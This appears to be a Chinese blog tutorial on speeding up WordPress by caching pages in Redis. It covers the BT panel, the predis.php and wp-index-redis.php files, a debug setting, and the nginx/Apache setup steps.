利用Redis将WordPress页面直接缓存在服务器的内存中,这样在避免了PHP重复执行操作的同时,内存的极速响应能够最大限度地提升Wordpress页面的访问速度,实际测试发现页面执行时间可以降低到0.00X秒级别,比没有使用Redis缓存提升几倍甚至十几倍以上。

利用宝塔面板非常简单的就能安装配置成功!

1、首先我们需要进入宝塔面板安装Redis扩展

未分类

2、下载我们要用到的PHP文件

  • PHP文件下载

https://www.ddblog.cc/wp-content/themes/begin/inc/go.php?url=https://page22.ctfile.com/fs/12214022-213374766

  • 下载解压以后我们会得到predis.php和wp-index-redis.php两个文件

  • 上传这两个文件到Wordpress的根目录

3、配置修改及注意事项

  • 如果你想在页面上看到脚本执行时间和缓存加载时间

请打开wp-index-redis.php文件把

// change vars here
$cf = 0;                // set to 1 if you are using cloudflare
$debug = 0;             // set to 1 if you wish to see execution time and cache actions

修改为

// change vars here
$cf = 0;                // set to 1 if you are using cloudflare
$debug = 1;             // set to 1 if you wish to see execution time and cache actions

也就是把$debug = 0;修改为$debug = 1;

  • 如果你使用的是nginx,需要原来的根目录的index.php修改为为任意其它名字,把wp-index-redis.php重命名为index.php

  • 如果你使用的是Apache,则需要把.htaccess中出现的index.php替换成wp-index-redis.php,我命名的是下面图片的名字。

未分类

所有的操作完成后,你就可以刷新一下Wordpress页面,查看Redis缓存效果了

  • 如果开启了缓存插件或cdn请先关闭才能看到效果

删除某一个页面的缓存:发表评论、按下F5刷新、在URL后面加上?r=y回车。

删除整站页面缓存:登录到Wordpress后台,在任意URL后面加上?r=y回车。